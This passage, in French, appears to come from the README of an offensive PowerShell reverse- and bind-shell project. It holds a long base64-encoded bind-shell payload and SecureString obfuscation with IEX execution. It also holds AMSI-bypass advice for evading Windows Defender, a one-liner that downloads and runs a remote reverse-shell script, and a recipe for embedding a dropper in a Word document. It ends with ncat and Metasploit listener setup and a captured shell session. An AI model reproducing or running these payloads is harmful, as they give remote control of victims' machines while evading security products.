CAAJAB3ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBXAHIAaQB0AGUAcgAoACQAcwAsACAAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALAAgADEAMAAyADQAKQA7ACAAJAB3AC4AQQB1AHQAbwBGAGwAdQBzAGgAIAA9ACAAJAB0AHIAdQBlADsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBDAGwAaQBlAG4AdAAgAGgAYQBzACAAYwBvAG4AbgBlAGMAdABlAGQAIQBgAG4AIgA7ACAAJABiAHkAIAA9ACAAMAA7ACAAZABvACAAewAgACQAdwAuAFcAcgBpAHQAZQAoACIAUABTAD4AIgApADsAIABkAG8AIAB7ACAAJABiAHkAIAA9ACAAJABzAC4AUgBlAGEAZAAoACQAYgAsACAAMAAsACAAJABiAC4ATABlAG4AZwB0AGgAKQA7ACAAaQBmACAAKAAkAGIAeQAgAC0AZwB0ACAAMAApACAAewAgACQAZAAgACsAPQAgACQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiACwAIAAwACwAIAAkAGIAeQApADsAIAB9ACAAfQAgAHcAaABpAGwAZQAgACgAJABzAC4ARABhAHQAYQBBAHYAYQBpAGwAYQBiAGwAZQApADsAIABpAGYAIAAoACQAYgB5ACAALQBnAHQAIAAwACkAIAB7ACAAJABkACAAPQAgACQAZAAuAFQAcgBpAG0AKAApADsAIABpAGYAIAAoACQAZAAuAEwAZQBuAGcAdABoACAALQBnAHQAIAAwACkAIAB7ACAAdAByAHkAIAB7ACAAJAByACAAPQAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgAC0AQwBvAG0AbQBhAG4AZAAgACQAZAAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwA7ACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAkAHIAIAA9ACAAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4AIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwA7ACAAfQAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAGQAOwAgAGkAZgAgACgAJAByAC4ATABlAG4AZwB0AGgAIAAtAGcAdAAgADAAKQAgAHsAIAAkAHcALgBXAHIAaQB0AGUAKAAkAHIAKQA7ACAAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAAcgA7ACAAfQAgAH0AIAB9ACAAfQAgAHcAaABpAGwAZQAgACgAJABiAHkAIAAtAGcAdAAgADAAKQA7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAQwBsAGkAZQBuAHQAIABoAGEAcwAgAGQAaQBzAGMAbwBuAG4AZQBjAHQAZQBkACEAIgA7ACAAfQAgAGMAYQB0AGMAaAAgAHsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBJAG4AbgBlAHIARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlADsAIAB9ACAAZgBpAG4AYQBsAGwAeQAgAHsAIABpAGYAIAAoACQAbAAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABsAC4AUwBlAHIAdgBlAHIALgBDAGwAbwBzAGUAKAApADsAIAAkAGwALgBTAGUAcgB2AGUAcgAuAEQAaQBzAHAAbwBzAGUAKAApADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABsADsAIAB9ACAAaQBmACAAKAAkAHcAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAdwAuAEMAbABvAHMAZQAoACkAOwAgACQAdwAuAEQAaQBzAHAAbwBzAGUAKAApADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIAB3ADsAIAB9ACAAaQBmACAAKAAkAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAcwAuAEMAbABvAHMAZQAoACkAOwAgACQAcwAuAEQAaQBzAHAAbwBzAGUAKAApADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABzADsAIAB9ACAAaQBmACAAKAAkAGMAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAYwAuAEMAbABvAHMAZQAoACkAOwAgACQAYwAuAEQAaQBzAHAAbwBzAGUAKAApADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABjADsAIAB9ACAAaQBmACAAKAAkAGIAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAYgAuAEMAbABlAGEAcgAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAGIAOwAgAH0AIABpAGYAIAAoACQAcgAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAAcgA7ACAAfQAgAGkAZgAgACgAJABkACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABkADsAIAB9ACAAWwBHAEMAXQA6ADoAQwBvAGwAbABlAGMAdAAoACkAOwAgAH0AIAB9ACAAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAAcAA7AA==
```
Le script encodé demandera une entrée. Voir le script légèrement modifié [ici](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/prompt/powershell_bind_tcp_prompt.ps1) - utilisé le script [minifié](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/prompt/minified/powershell_bind_tcp_prompt_mini.ps1) pour réduire la longueur de la commande.

### SecureString

Pour générer un SecureString PowerShell à partir d'un script PowerShell, exécutez la commande PowerShell suivante (la chaîne peut devenir très longue) :```pwsh
ConvertFrom-SecureString -k (0..15) (ConvertTo-SecureString (Get-Content -Path $script -Raw) -AsPlainText -Force)
```
Pour décoder et exécuter une SecureString PowerShell, exécutez la commande PowerShell suivante :```pwsh
IEX((New-Object System.Net.NetworkCredential("", (ConvertTo-SecureString -k (0..15) $string))).Password)
```
La plupart des produits de sécurité signaleront un script PowerShell comme malveillant s'il utilise excessivement le symbole `&`.

Consultez le script de reverse shell [obfusqué manuellement](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/powershell_reverse_tcp_manual.ps1) et transformé [ici](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/secure_string/powershell_reverse_tcp_secure_string.ps1).

Consultez le script de bind shell [obfusqué manuellement](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/powershell_bind_tcp_manual.ps1) et transformé [ici](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/secure_string/powershell_bind_tcp_secure_string.ps1).

## Contournement AMSI

Si Windows Defender bloque l'exécution de votre script PowerShell ou d'une commande encodée, générez un code de contournement AMSI depuis [AMSI.fail](https://amsi.fail) et exécutez-le dans votre session PowerShell. Crédits à l'auteur !

Après avoir exécuté le code de contournement AMSI, vous pouvez télécharger le contenu de votre script PowerShell depuis le web en utilisant cette commande en une ligne :```pwsh
IEX([System.IO.StreamReader]::New([System.Net.WebRequest]::Create('https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/master/src/prompt/minified/powershell_reverse_tcp_prompt_mini.ps1').GetResponse().GetResponseStream()).ReadToEnd());
```
En savoir plus sur le contournement AMSI sur [S3cur3Th1sSh1t/Amsi-Bypass-Powershell](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell). Crédits à l'auteur !

## Intégration MS Word

Pour intégrer un script PowerShell dans un document MS Word, consultez l'outil [macro_pack](https://github.com/sevagas/macro_pack). Crédits à l'auteur !

Exécutez la commande suivante depuis PowerShell ou l'invite de commandes :```fundamental
echo "https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/master/src/invoke_expression/prompt/powershell_reverse_tcp_prompt.ps1" | macro_pack.exe -t DROPPER_PS -o -G powpow.doc
```
## Configurer un écouteur

Pour configurer un écouteur, ouvrez votre console préférée sur Kali Linux et exécutez l'un des exemples ci-dessous.

Configurer l'écouteur `ncat` :```fundamental
ncat -nvlp 9000
```
Configurer l'écouteur `multi/handler` :```fundamental
msfconsole -q

use exploit/multi/handler

set PAYLOAD windows/shell_reverse_tcp

set LHOST 192.168.8.185

set LPORT 9000

exploit
```
## Exécution```fundamental
┌──(root💀kali)-[~]
└─# ncat -nvlp 9000
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9000
Ncat: Listening on 0.0.0.0:9000
Ncat: Connection from 192.168.1.109.
Ncat: Connection from 192.168.1.109:50418.
PS>Get-Host


Name             : ConsoleHost
Version          : 5.1.19041.2673
InstanceId       : 3d17d7be-e720-4f39-93a2-cf509887f57a
UI               : System.Management.Automation.Internal.Host.InternalHostUserInterface
CurrentCulture   : hr-HR
CurrentUICulture : en-US
PrivateData      : Microsoft.PowerShell.ConsoleHost+ConsoleColorProxy
DebuggerEnabled  : True
IsRunspacePushed : False
Runspace         : System.Management.Automation.Runspaces.LocalRunspace



PS>
```